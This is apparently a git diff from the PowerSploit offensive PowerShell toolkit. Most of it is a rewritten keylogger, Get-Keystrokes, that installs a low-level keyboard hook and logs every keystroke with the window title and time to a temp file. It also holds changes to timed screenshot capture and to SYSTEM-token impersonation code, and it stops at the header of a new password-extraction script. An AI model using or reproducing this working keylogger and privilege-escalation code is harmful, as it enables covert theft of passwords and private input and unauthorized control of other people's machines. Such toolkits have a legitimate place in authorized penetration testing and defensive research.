aboutsummaryrefslogtreecommitdiff
diff options
context:
space:
mode:
-rw-r--r--Exfiltration/Get-Keystrokes.ps1528
-rw-r--r--Exfiltration/Get-TimedScreenshot.ps120
-rw-r--r--Exfiltration/Invoke-TokenManipulation.ps125
-rw-r--r--PowerSploit.psd11
-rw-r--r--Privesc/Get-SiteListPassword.ps1178
-rw-r--r--Privesc/Get-System.ps1590
-rw-r--r--Privesc/PowerUp.ps1125
-rw-r--r--Privesc/Privesc.psd130
-rw-r--r--Recon/PowerView.ps14132
-rw-r--r--Recon/README.md2
-rw-r--r--Recon/Recon.psd1101
-rw-r--r--Tests/Exfiltration.tests.ps154
-rw-r--r--Tests/Privesc.tests.ps1261
13 files changed, 4207 insertions, 1840 deletions
diff --git a/Exfiltration/Get-Keystrokes.ps1 b/Exfiltration/Get-Keystrokes.ps1
index d040589..47761b9 100644
--- a/Exfiltration/Get-Keystrokes.ps1
+++ b/Exfiltration/Get-Keystrokes.ps1
@@ -1,11 +1,12 @@
function Get-Keystrokes {
<#
.SYNOPSIS
-
+
Logs keys pressed, time and the active window.
PowerSploit Function: Get-Keystrokes
- Author: Chris Campbell (@obscuresec) and Matthew Graeber (@mattifestation)
+ Original Authors: Chris Campbell (@obscuresec) and Matthew Graeber (@mattifestation)
+ Revised By: Jesse Davis (@secabstraction)
License: BSD 3-Clause
Required Dependencies: None
Optional Dependencies: None
@@ -14,13 +15,13 @@ function Get-Keystrokes {
Specifies the path where pressed key details will be logged. By default, keystrokes are logged to %TEMP%\key.log.
-.PARAMETER CollectionInterval
+.PARAMETER Timeout
Specifies the interval in minutes to capture keystrokes. By default, keystrokes are captured indefinitely.
-.PARAMETER PollingInterval
+.PARAMETER PassThru
- Specifies the time in milliseconds to wait between calls to GetAsyncKeyState. Defaults to 40 milliseconds.
+ Returns the keylogger's PowerShell object, so that it may manipulated (disposed) by the user; primarily for testing purposes.
.EXAMPLE
@@ -28,234 +29,349 @@ function Get-Keystrokes {
.EXAMPLE
- Get-Keystrokes -CollectionInterval 20
-
-.EXAMPLE
-
- Get-Keystrokes -PollingInterval 35
-
+ Get-Keystrokes -Timeout 20
+
.LINK
http://www.obscuresec.com/
http://www.exploit-monday.com/
+ https://github.com/secabstraction
#>
- [CmdletBinding()] Param (
+ [CmdletBinding()]
+ Param (
[Parameter(Position = 0)]
- [ValidateScript({Test-Path (Resolve-Path (Split-Path -Parent $_)) -PathType Container})]
- [String]
- $LogPath = "$($Env:TEMP)\key.log",
+ [ValidateScript({Test-Path (Resolve-Path (Split-Path -Parent -Path $_)) -PathType Container})]
+ [String]$LogPath = "$($env:TEMP)\key.log",
[Parameter(Position = 1)]
- [UInt32]
- $CollectionInterval,
+ [Double]$Timeout,
- [Parameter(Position = 2)]
- [Int32]
- $PollingInterval = 40
+ [Parameter()]
+ [Switch]$PassThru
)
$LogPath = Join-Path (Resolve-Path (Split-Path -Parent $LogPath)) (Split-Path -Leaf $LogPath)
- Write-Verbose "Logging keystrokes to $LogPath"
+ try { '"TypedKey","WindowTitle","Time"' | Out-File -FilePath $LogPath -Encoding unicode }
+ catch { throw $_ }
+
+ $Script = {
+ Param (
+ [Parameter(Position = 0)]
+ [String]$LogPath,
+
+ [Parameter(Position = 1)]
+ [Double]$Timeout
+ )
+
+ function local:Get-DelegateType {
+ Param (
+ [OutputType([Type])]
+
+ [Parameter( Position = 0)]
+ [Type[]]
+ $Parameters = (New-Object Type[](0)),
+
+ [Parameter( Position = 1 )]
+ [Type]
+ $ReturnType = [Void]
+ )
+
+ $Domain = [AppDomain]::CurrentDomain
+ $DynAssembly = New-Object Reflection.AssemblyName('ReflectedDelegate')
+ $AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run)
+ $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('InMemoryModule', $false)
+ $TypeBuilder = $ModuleBuilder.DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
+ $ConstructorBuilder = $TypeBuilder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $Parameters)
+ $ConstructorBuilder.SetImplementationFlags('Runtime, Managed')
+ $MethodBuilder = $TypeBuilder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $ReturnType, $Parameters)
+ $MethodBuilder.SetImplementationFlags('Runtime, Managed')
+
+ $TypeBuilder.CreateType()
+ }
+ function local:Get-ProcAddress {
+ Param (
+ [OutputType([IntPtr])]
+
+ [Parameter( Position = 0, Mandatory = $True )]
+ [String]
+ $Module,
+
+ [Parameter( Position = 1, Mandatory = $True )]
+ [String]
+ $Procedure
+ )
+
+ # Get a reference to System.dll in the GAC
+ $SystemAssembly = [AppDomain]::CurrentDomain.GetAssemblies() |
+ Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }
+ $UnsafeNativeMethods = $SystemAssembly.GetType('Microsoft.Win32.UnsafeNativeMethods')
+ # Get a reference to the GetModuleHandle and GetProcAddress methods
+ $GetModuleHandle = $UnsafeNativeMethods.GetMethod('GetModuleHandle')
+ $GetProcAddress = $UnsafeNativeMethods.GetMethod('GetProcAddress')
+ # Get a handle to the module specified
+ $Kern32Handle = $GetModuleHandle.Invoke($null, @($Module))
+ $tmpPtr = New-Object IntPtr
+ $HandleRef = New-Object System.Runtime.InteropServices.HandleRef($tmpPtr, $Kern32Handle)
+
+ # Return the address of the function
+ $GetProcAddress.Invoke($null, @([Runtime.InteropServices.HandleRef]$HandleRef, $Procedure))
+ }
- $Initilizer = {
- $LogPath = 'REPLACEME'
+ #region Imports
+
+ [void][Reflection.Assembly]::LoadWithPartialName('System.Windows.Forms')
+
+ # SetWindowsHookEx
+ $SetWindowsHookExAddr = Get-ProcAddress user32.dll SetWindowsHookExA
+ $SetWindowsHookExDelegate = Get-DelegateType @([Int32], [MulticastDelegate], [IntPtr], [Int32]) ([IntPtr])
+ $SetWindowsHookEx = [Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($SetWindowsHookExAddr, $SetWindowsHookExDelegate)
+
+ # CallNextHookEx
+ $CallNextHookExAddr = Get-ProcAddress user32.dll CallNextHookEx
+ $CallNextHookExDelegate = Get-DelegateType @([IntPtr], [Int32], [IntPtr], [IntPtr]) ([IntPtr])
+ $CallNextHookEx = [Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CallNextHookExAddr, $CallNextHookExDelegate)
+
+ # UnhookWindowsHookEx
+ $UnhookWindowsHookExAddr = Get-ProcAddress user32.dll UnhookWindowsHookEx
+ $UnhookWindowsHookExDelegate = Get-DelegateType @([IntPtr]) ([Void])
+ $UnhookWindowsHookEx = [Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($UnhookWindowsHookExAddr, $UnhookWindowsHookExDelegate)
+
+ # PeekMessage
+ $PeekMessageAddr = Get-ProcAddress user32.dll PeekMessageA
+ $PeekMessageDelegate = Get-DelegateType @([IntPtr], [IntPtr], [UInt32], [UInt32], [UInt32]) ([Void])
+ $PeekMessage = [Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($PeekMessageAddr, $PeekMessageDelegate)
+
+ # GetAsyncKeyState
+ $GetAsyncKeyStateAddr = Get-ProcAddress user32.dll GetAsyncKeyState
+ $GetAsyncKeyStateDelegate = Get-DelegateType @([Windows.Forms.Keys]) ([Int16])
+ $GetAsyncKeyState = [Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetAsyncKeyStateAddr, $GetAsyncKeyStateDelegate)
+
+ # GetForegroundWindow
+ $GetForegroundWindowAddr = Get-ProcAddress user32.dll GetForegroundWindow
+ $GetForegroundWindowDelegate = Get-DelegateType @() ([IntPtr])
+ $GetForegroundWindow = [Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetForegroundWindowAddr, $GetForegroundWindowDelegate)
+
+ # GetWindowText
+ $GetWindowTextAddr = Get-ProcAddress user32.dll GetWindowTextA
+ $GetWindowTextDelegate = Get-DelegateType @([IntPtr], [Text.StringBuilder], [Int32]) ([Void])
+ $GetWindowText = [Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetWindowTextAddr, $GetWindowTextDelegate)
+
+ # GetModuleHandle
+ $GetModuleHandleAddr = Get-ProcAddress kernel32.dll GetModuleHandleA
+ $GetModuleHandleDelegate = Get-DelegateType @([String]) ([IntPtr])
+ $GetModuleHandle = [Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetModuleHandleAddr, $GetModuleHandleDelegate)
+
+ #endregion Imports
- '"WindowTitle","TypedKey","Time"' | Out-File -FilePath $LogPath -Encoding unicode
+ $CallbackScript = {
+ Param (
+ [Parameter()]
+ [Int32]$Code,
- function KeyLog {
- [Reflection.Assembly]::LoadWithPartialName('System.Windows.Forms') | Out-Null
+ [Parameter()]
+ [IntPtr]$wParam,
- try
- {
- $ImportDll = [User32]
- }
- catch
- {
- $DynAssembly = New-Object System.Reflection.AssemblyName('Win32Lib')
- $AssemblyBuilder = [AppDomain]::CurrentDomain.DefineDynamicAssembly($DynAssembly, [Reflection.Emit.AssemblyBuilderAccess]::Run)
- $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('Win32Lib', $False)
- $TypeBuilder = $ModuleBuilder.DefineType('User32', 'Public, Class')
-
- $DllImportConstructor = [Runtime.InteropServices.DllImportAttribute].GetConstructor(@([String]))
- $FieldArray = [Reflection.FieldInfo[]] @(
- [Runtime.InteropServices.DllImportAttribute].GetField('EntryPoint'),
- [Runtime.InteropServices.DllImportAttribute].GetField('ExactSpelling'),
- [Runtime.InteropServices.DllImportAttribute].GetField('SetLastError'),
- [Runtime.InteropServices.DllImportAttribute].GetField('PreserveSig'),
- [Runtime.InteropServices.DllImportAttribute].GetField('CallingConvention'),
- [Runtime.InteropServices.DllImportAttribute].GetField('CharSet')
- )
-
- $PInvokeMethod = $TypeBuilder.DefineMethod('GetAsyncKeyState', 'Public, Static', [Int16], [Type[]] @([Windows.Forms.Keys]))
- $FieldValueArray = [Object[]] @(
- 'GetAsyncKeyState',
- $True,
- $False,
- $True,
- [Runtime.InteropServices.CallingConvention]::Winapi,
- [Runtime.InteropServices.CharSet]::Auto
- )
- $CustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($DllImportConstructor, @('user32.dll'), $FieldArray, $FieldValueArray)
- $PInvokeMethod.SetCustomAttribute($CustomAttribute)
-
- $PInvokeMethod = $TypeBuilder.DefineMethod('GetKeyboardState', 'Public, Static', [Int32], [Type[]] @([Byte[]]))
- $FieldValueArray = [Object[]] @(
- 'GetKeyboardState',
- $True,
- $False,
- $True,
- [Runtime.InteropServices.CallingConvention]::Winapi,
- [Runtime.InteropServices.CharSet]::Auto
- )
- $CustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($DllImportConstructor, @('user32.dll'), $FieldArray, $FieldValueArray)
- $PInvokeMethod.SetCustomAttribute($CustomAttribute)
-
- $PInvokeMethod = $TypeBuilder.DefineMethod('MapVirtualKey', 'Public, Static', [Int32], [Type[]] @([Int32], [Int32]))
- $FieldValueArray = [Object[]] @(
- 'MapVirtualKey',
- $False,
- $False,
- $True,
- [Runtime.InteropServices.CallingConvention]::Winapi,
- [Runtime.InteropServices.CharSet]::Auto
- )
- $CustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($DllImportConstructor, @('user32.dll'), $FieldArray, $FieldValueArray)
- $PInvokeMethod.SetCustomAttribute($CustomAttribute)
-
- $PInvokeMethod = $TypeBuilder.DefineMethod('ToUnicode', 'Public, Static', [Int32],
- [Type[]] @([UInt32], [UInt32], [Byte[]], [Text.StringBuilder], [Int32], [UInt32]))
- $FieldValueArray = [Object[]] @(
- 'ToUnicode',
- $False,
- $False,
- $True,
- [Runtime.InteropServices.CallingConvention]::Winapi,
- [Runtime.InteropServices.CharSet]::Auto
- )
- $CustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($DllImportConstructor, @('user32.dll'), $FieldArray, $FieldValueArray)
- $PInvokeMethod.SetCustomAttribute($CustomAttribute)
-
- $PInvokeMethod = $TypeBuilder.DefineMethod('GetForegroundWindow', 'Public, Static', [IntPtr], [Type[]] @())
- $FieldValueArray = [Object[]] @(
- 'GetForegroundWindow',
- $True,
- $False,
- $True,
- [Runtime.InteropServices.CallingConvention]::Winapi,
- [Runtime.InteropServices.CharSet]::Auto
- )
- $CustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($DllImportConstructor, @('user32.dll'), $FieldArray, $FieldValueArray)
- $PInvokeMethod.SetCustomAttribute($CustomAttribute)
-
- $ImportDll = $TypeBuilder.CreateType()
- }
+ [Parameter()]
+ [IntPtr]$lParam
+ )
+
+ $Keys = [Windows.Forms.Keys]
+
+ $MsgType = $wParam.ToInt32()
+
+ # Process WM_KEYDOWN & WM_SYSKEYDOWN messages
+ if ($Code -ge 0 -and ($MsgType -eq 0x100 -or $MsgType -eq 0x104)) {
+
+ $hWindow = $GetForegroundWindow.Invoke()
- Start-Sleep -Milliseconds $PollingInterval
-
- try
- {
-
- #loop through typeable characters to see which is pressed
- for ($TypeableChar = 1; $TypeableChar -le 254; $TypeableChar++)
- {
- $VirtualKey = $TypeableChar
- $KeyResult = $ImportDll::GetAsyncKeyState($VirtualKey)
-
- #if the key is pressed
- if (($KeyResult -band 0x8000) -eq 0x8000)
- {
-
- #check for keys not mapped by virtual keyboard
- $LeftShift = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::LShiftKey) -band 0x8000) -eq 0x8000
- $RightShift = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::RShiftKey) -band 0x8000) -eq 0x8000
- $LeftCtrl = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::LControlKey) -band 0x8000) -eq 0x8000
- $RightCtrl = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::RControlKey) -band 0x8000) -eq 0x8000
- $LeftAlt = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::LMenu) -band 0x8000) -eq 0x8000
- $RightAlt = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::RMenu) -band 0x8000) -eq 0x8000
- $TabKey = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::Tab) -band 0x8000) -eq 0x8000
- $SpaceBar = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::Space) -band 0x8000) -eq 0x8000
- $DeleteKey = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::Delete) -band 0x8000) -eq 0x8000
- $EnterKey = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::Return) -band 0x8000) -eq 0x8000
- $BackSpaceKey = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::Back) -band 0x8000) -eq 0x8000
- $LeftArrow = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::Left) -band 0x8000) -eq 0x8000
- $RightArrow = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::Right) -band 0x8000) -eq 0x8000
- $UpArrow = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::Up) -band 0x8000) -eq 0x8000
- $DownArrow = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::Down) -band 0x8000) -eq 0x8000
- $LeftMouse = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::LButton) -band 0x8000) -eq 0x8000
- $RightMouse = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::RButton) -band 0x8000) -eq 0x8000
-
- if ($LeftShift -or $RightShift) {$LogOutput += '[Shift]'}
- if ($LeftCtrl -or $RightCtrl) {$LogOutput += '[Ctrl]'}
- if ($LeftAlt -or $RightAlt) {$LogOutput += '[Alt]'}
- if ($TabKey) {$LogOutput += '[Tab]'}
- if ($SpaceBar) {$LogOutput += '[SpaceBar]'}
- if ($DeleteKey) {$LogOutput += '[Delete]'}
- if ($EnterKey) {$LogOutput += '[Enter]'}
- if ($BackSpaceKey) {$LogOutput += '[Backspace]'}
- if ($LeftArrow) {$LogOutput += '[Left Arrow]'}
- if ($RightArrow) {$LogOutput += '[Right Arrow]'}
- if ($UpArrow) {$LogOutput += '[Up Arrow]'}
- if ($DownArrow) {$LogOutput += '[Down Arrow]'}
- if ($LeftMouse) {$LogOutput += '[Left Mouse]'}
- if ($RightMouse) {$LogOutput += '[Right Mouse]'}
-
- #check for capslock
- if ([Console]::CapsLock) {$LogOutput += '[Caps Lock]'}
-
- $MappedKey = $ImportDll::MapVirtualKey($VirtualKey, 3)
- $KeyboardState = New-Object Byte[] 256
- $CheckKeyboardState = $ImportDll::GetKeyboardState($KeyboardState)
-
- #create a stringbuilder object
- $StringBuilder = New-Object -TypeName System.Text.StringBuilder;
- $UnicodeKey = $ImportDll::ToUnicode($VirtualKey, $MappedKey, $KeyboardState, $StringBuilder, $StringBuilder.Capacity, 0)
-
- #convert typed characters
- if ($UnicodeKey -gt 0) {
- $TypedCharacter = $StringBuilder.ToString()
- $LogOutput += ('['+ $TypedCharacter +']')
- }
-
- #get the title of the foreground window
- $TopWindow = $ImportDll::GetForegroundWindow()
- $WindowTitle = (Get-Process | Where-Object { $_.MainWindowHandle -eq $TopWindow }).MainWindowTitle
-
- #get the current DTG
- $TimeStamp = (Get-Date -Format dd/MM/yyyy:HH:mm:ss:ff)
-
- #Create a custom object to store results
- $ObjectProperties = @{'Key Typed' = $LogOutput;
- 'Time' = $TimeStamp;
- 'Window Title' = $WindowTitle}
- $ResultsObject = New-Object -TypeName PSObject -Property $ObjectProperties
-
- # Stupid hack since Export-CSV doesn't have an append switch in PSv2
- $CSVEntry = ($ResultsObject | ConvertTo-Csv -NoTypeInformation)[1]
-
- #return results
- Out-File -FilePath $LogPath -Append -InputObject $CSVEntry -Encoding unicode
+ $ShiftState = $GetAsyncKeyState.Invoke($Keys::ShiftKey)
+ if (($ShiftState -band 0x8000) -eq 0x8000) { $Shift = $true }
+ else { $Shift = $false }
+ $Caps = [Console]::CapsLock
+
+ # Read virtual-key from buffer
+ $vKey = [Windows.Forms.Keys][Runtime.InteropServices.Marshal]::ReadInt32($lParam)
+
+ # Parse virtual-key
+ if ($vKey -gt 64 -and $vKey -lt 91) { # Alphabet characters
+ if ($Shift -xor $Caps) { $Key = $vKey.ToString() }
+ else { $Key = $vKey.ToString().ToLower() }
+ }
+ elseif ($vKey -ge 96 -and $vKey -le 111) { # Number pad characters
+ switch ($vKey.value__) {
+ 96 { $Key = '0' }
+ 97 { $Key = '1' }
+ 98 { $Key = '2' }
+ 99 { $Key = '3' }
+ 100 { $Key = '4' }
+ 101 { $Key = '5' }
+ 102 { $Key = '6' }
+ 103 { $Key = '7' }
+ 104 { $Key = '8' }
+ 105 { $Key = '9' }
+ 106 { $Key = "*" }
+ 107 { $Key = "+" }
+ 108 { $Key = "|" }
+ 109 { $Key = "-" }
+ 110 { $Key = "." }
+ 111 { $Key = "/" }
+ }
+ }
+ elseif (($vKey -ge 48 -and $vKey -le 57) -or ($vKey -ge 186 -and $vKey -le 192) -or ($vKey -ge 219 -and $vKey -le 222)) {
+ if ($Shift) {
+ switch ($vKey.value__) { # Shiftable characters
+ 48 { $Key = ')' }
+ 49 { $Key = '!' }
+ 50 { $Key = '@' }
+ 51 { $Key = '#' }
+ 52 { $Key = '$' }
+ 53 { $Key = '%' }
+ 54 { $Key = '^' }
+ 55 { $Key = '&' }
+ 56 { $Key = '*' }
+ 57 { $Key = '(' }
+ 186 { $Key = ':' }
+ 187 { $Key = '+' }
+ 188 { $Key = '<' }
+ 189 { $Key = '_' }
+ 190 { $Key = '>' }
+ 191 { $Key = '?' }
+ 192 { $Key = '~' }
+ 219 { $Key = '{' }
+ 220 { $Key = '|' }
+ 221 { $Key = '}' }
+ 222 { $Key = '<Double Quotes>' }
+ }
+ }
+ else {
+ switch ($vKey.value__) {
+ 48 { $Key = '0' }
+ 49 { $Key = '1' }
+ 50 { $Key = '2' }
+ 51 { $Key = '3' }
+ 52 { $Key = '4' }
+ 53 { $Key = '5' }
+ 54 { $Key = '6' }
+ 55 { $Key = '7' }
+ 56 { $Key = '8' }
+ 57 { $Key = '9' }
+ 186 { $Key = ';' }
+ 187 { $Key = '=' }
+ 188 { $Key = ',' }
+ 189 { $Key = '-' }
+ 190 { $Key = '.' }
+ 191 { $Key = '/' }
+ 192 { $Key = '`' }
+ 219 { $Key = '[' }
+ 220 { $Key = '\' }
+ 221 { $Key = ']' }
+ 222 { $Key = '<Single Quote>' }
}
}
}
- catch {}
+ else {
+ switch ($vKey) {
+ $Keys::F1 { $Key = '<F1>' }
+ $Keys::F2 { $Key = '<F2>' }
+ $Keys::F3 { $Key = '<F3>' }
+ $Keys::F4 { $Key = '<F4>' }
+ $Keys::F5 { $Key = '<F5>' }
+ $Keys::F6 { $Key = '<F6>' }
+ $Keys::F7 { $Key = '<F7>' }
+ $Keys::F8 { $Key = '<F8>' }
+ $Keys::F9 { $Key = '<F9>' }
+ $Keys::F10 { $Key = '<F10>' }
+ $Keys::F11 { $Key = '<F11>' }
+ $Keys::F12 { $Key = '<F12>' }
+
+ $Keys::Snapshot { $Key = '<Print Screen>' }
+ $Keys::Scroll { $Key = '<Scroll Lock>' }
+ $Keys::Pause { $Key = '<Pause/Break>' }
+ $Keys::Insert { $Key = '<Insert>' }
+ $Keys::Home { $Key = '<Home>' }
+ $Keys::Delete { $Key = '<Delete>' }
+ $Keys::End { $Key = '<End>' }
+ $Keys::Prior { $Key = '<Page Up>' }
+ $Keys::Next { $Key = '<Page Down>' }
+ $Keys::Escape { $Key = '<Esc>' }
+ $Keys::NumLock { $Key = '<Num Lock>' }
+ $Keys::Capital { $Key = '<Caps Lock>' }
+ $Keys::Tab { $Key = '<Tab>' }
+ $Keys::Back { $Key = '<Backspace>' }
+ $Keys::Enter { $Key = '<Enter>' }
+ $Keys::Space { $Key = '< >' }
+ $Keys::Left { $Key = '<Left>' }
+ $Keys::Up { $Key = '<Up>' }
+ $Keys::Right { $Key = '<Right>' }
+ $Keys::Down { $Key = '<Down>' }
+ $Keys::LMenu { $Key = '<Alt>' }
+ $Keys::RMenu { $Key = '<Alt>' }
+ $Keys::LWin { $Key = '<Windows Key>' }
+ $Keys::RWin { $Key = '<Windows Key>' }
+ $Keys::LShiftKey { $Key = '<Shift>' }
+ $Keys::RShiftKey { $Key = '<Shift>' }
+ $Keys::LControlKey { $Key = '<Ctrl>' }
+ $Keys::RControlKey { $Key = '<Ctrl>' }
+ }
+ }
+
+ # Get foreground window's title
+ $Title = New-Object Text.Stringbuilder 256
+ $GetWindowText.Invoke($hWindow, $Title, $Title.Capacity)
+
+ # Define object properties
+ $Props = @{
+ Key = $Key
+ Time = [DateTime]::Now
+ Window = $Title.ToString()
+ }
+
+ $obj = New-Object psobject -Property $Props
+
+ # Stupid hack since Export-CSV doesn't have an append switch in PSv2
+ $CSVEntry = ($obj | Select-Object Key,Window,Time | ConvertTo-Csv -NoTypeInformation)[1]
+
+ #return results
+ Out-File -FilePath $LogPath -Append -InputObject $CSVEntry -Encoding unicode
}
+ return $CallNextHookEx.Invoke([IntPtr]::Zero, $Code, $wParam, $lParam)
}
- $Initilizer = [ScriptBlock]::Create(($Initilizer -replace 'REPLACEME', $LogPath))
+ # Cast scriptblock as LowLevelKeyboardProc callback
+ $Delegate = Get-DelegateType @([Int32], [IntPtr], [IntPtr]) ([IntPtr])
+ $Callback = $CallbackScript -as $Delegate
+
+ # Get handle to PowerShell for hook
+ $PoshModule = (Get-Process -Id $PID).MainModule.ModuleName
+ $ModuleHandle = $GetModuleHandle.Invoke($PoshModule)
- Start-Job -InitializationScript $Initilizer -ScriptBlock {for (;;) {Keylog}} -Name Keylogger | Out-Null
+ # Set WM_KEYBOARD_LL hook
+ $Hook = $SetWindowsHookEx.Invoke(0xD, $Callback, $ModuleHandle, 0)
+
+ $Stopwatch = [Diagnostics.Stopwatch]::StartNew()
- if ($PSBoundParameters['CollectionInterval'])
- {
- $Timer = New-Object Timers.Timer($CollectionInterval * 60 * 1000)
+ while ($true) {
+ if ($PSBoundParameters.Timeout -and ($Stopwatch.Elapsed.TotalMinutes -gt $Timeout)) { break }
+ $PeekMessage.Invoke([IntPtr]::Zero, [IntPtr]::Zero, 0x100, 0x109, 0)
+ Start-Sleep -Milliseconds 10
+ }
- Register-ObjectEvent -InputObject $Timer -EventName Elapsed -SourceIdentifier ElapsedAction -Action {
- Stop-Job -Name Keylogger
- Unregister-Event -SourceIdentifier ElapsedAction
- $Sender.Stop()
- } | Out-Null
+ $Stopwatch.Stop()
+
+ # Remove the hook
+ $UnhookWindowsHookEx.Invoke($Hook)
}
-}
+ # Setup KeyLogger's runspace
+ $PowerShell = [PowerShell]::Create()
+ [void]$PowerShell.AddScript($Script)
+ [void]$PowerShell.AddArgument($LogPath)
+ if ($PSBoundParameters.Timeout) { [void]$PowerShell.AddArgument($Timeout) }
+
+ # Start KeyLogger
+ [void]$PowerShell.BeginInvoke()
+
+ if ($PassThru.IsPresent) { return $PowerShell }
+} \ No newline at end of file
diff --git a/Exfiltration/Get-TimedScreenshot.ps1 b/Exfiltration/Get-TimedScreenshot.ps1
index e1ca823..89eceb0 100644
--- a/Exfiltration/Get-TimedScreenshot.ps1
+++ b/Exfiltration/Get-TimedScreenshot.ps1
@@ -52,9 +52,25 @@ https://github.com/mattifestation/PowerSploit/blob/master/Exfiltration/Get-Timed
#Define helper function that generates and saves screenshot
Function Get-Screenshot {
$ScreenBounds = [Windows.Forms.SystemInformation]::VirtualScreen
- $ScreenshotObject = New-Object Drawing.Bitmap $ScreenBounds.Width, $ScreenBounds.Height
+
+ $VideoController = Get-WmiObject -Query 'SELECT VideoModeDescription FROM Win32_VideoController'
+
+ if ($VideoController.VideoModeDescription -and $VideoController.VideoModeDescription -match '(?<ScreenWidth>^\d+) x (?<ScreenHeight>\d+) x .*$') {
+ $Width = [Int] $Matches['ScreenWidth']
+ $Height = [Int] $Matches['ScreenHeight']
+ } else {
+ $ScreenBounds = [Windows.Forms.SystemInformation]::VirtualScreen
+
+ $Width = $ScreenBounds.Width
+ $Height = $ScreenBounds.Height
+ }
+
+ $Size = New-Object System.Drawing.Size($Width, $Height)
+ $Point = New-Object System.Drawing.Point(0, 0)
+
+ $ScreenshotObject = New-Object Drawing.Bitmap $Width, $Height
$DrawingGraphics = [Drawing.Graphics]::FromImage($ScreenshotObject)
- $DrawingGraphics.CopyFromScreen( $ScreenBounds.Location, [Drawing.Point]::Empty, $ScreenBounds.Size)
+ $DrawingGraphics.CopyFromScreen($Point, [Drawing.Point]::Empty, $Size)
$DrawingGraphics.Dispose()
$ScreenshotObject.Save($FilePath)
$ScreenshotObject.Dispose()
diff --git a/Exfiltration/Invoke-TokenManipulation.ps1 b/Exfiltration/Invoke-TokenManipulation.ps1
index ea30952..6558a63 100644
--- a/Exfiltration/Invoke-TokenManipulation.ps1
+++ b/Exfiltration/Invoke-TokenManipulation.ps1
@@ -1686,20 +1686,33 @@ Blog on this script: http://clymb3r.wordpress.com/2013/11/03/powershell-and-toke
#Even if already running as system, later parts on the script depend on having a SYSTEM token with most privileges.
#We need to enumrate all processes running as SYSTEM and find one that we can use.
[string]$LocalSystemNTAccount = (New-Object -TypeName 'System.Security.Principal.SecurityIdentifier' -ArgumentList ([Security.Principal.WellKnownSidType]::'LocalSystemSid', $null)).Translate([Security.Principal.NTAccount]).Value
- $SystemTokens = Get-Process -IncludeUserName | Where {$_.Username -eq $LocalSystemNTAccount}
+
+ $SystemTokens = Get-WmiObject -Class Win32_Process | ForEach-Object {
+ $OwnerInfo = $_.GetOwner()
+
+ if ($OwnerInfo.Domain -and $OwnerInfo.User) {
+ $OwnerString = "$($OwnerInfo.Domain)\$($OwnerInfo.User)".ToUpper()
+
+ if ($OwnerString -eq $LocalSystemNTAccount.ToUpper()) {
+ $_
+ }
+ }
+ }
+
ForEach ($SystemToken in $SystemTokens)
{
- $SystemTokenInfo = Get-PrimaryToken -ProcessId $SystemToken.Id -WarningAction SilentlyContinue -ErrorAction SilentlyContinue
+ $SystemTokenInfo = Get-PrimaryToken -ProcessId $SystemToken.ProcessId -WarningAction SilentlyContinue -ErrorAction SilentlyContinue
+ if ($SystemTokenInfo) { break }
}
- if ($systemTokenInfo -eq $null -or (-not (Invoke-ImpersonateUser -hToken $systemTokenInfo.hProcToken)))
+ if ($SystemTokenInfo -eq $null -or (-not (Invoke-ImpersonateUser -hToken $systemTokenInfo.hProcToken)))
{
Write-Warning "Unable to impersonate SYSTEM, the script will not be able to enumerate all tokens"
}
- if ($systemTokenInfo -ne $null -and $systemTokenInfo.hProcToken -ne [IntPtr]::Zero)
+ if ($SystemTokenInfo -ne $null -and $SystemTokenInfo.hProcToken -ne [IntPtr]::Zero)
{
- $CloseHandle.Invoke($systemTokenInfo.hProcToken) | Out-Null
- $systemTokenInfo = $null
+ $CloseHandle.Invoke($SystemTokenInfo.hProcToken) | Out-Null
+ $SystemTokenInfo = $null
}
$ProcessIds = get-process | where {$_.name -inotmatch "^csrss$" -and $_.name -inotmatch "^system$" -and $_.id -ne 0}
diff --git a/PowerSploit.psd1 b/PowerSploit.psd1
index bc482e1..492b846 100644
--- a/PowerSploit.psd1
+++ b/PowerSploit.psd1
@@ -38,6 +38,7 @@ FunctionsToExport = @(
'Find-GPOLocation',
'Find-InterestingFile',
'Find-LocalAdminAccess',
+ 'Find-ManagedSecurityGroups',
'Find-PathHijack',
'Find-UserField',
'Get-ADObject',
diff --git a/Privesc/Get-SiteListPassword.ps1 b/Privesc/Get-SiteListPassword.ps1
new file mode 100644
index 0000000..f631872
--- /dev/null
+++ b/Privesc/Get-SiteListPassword.ps1
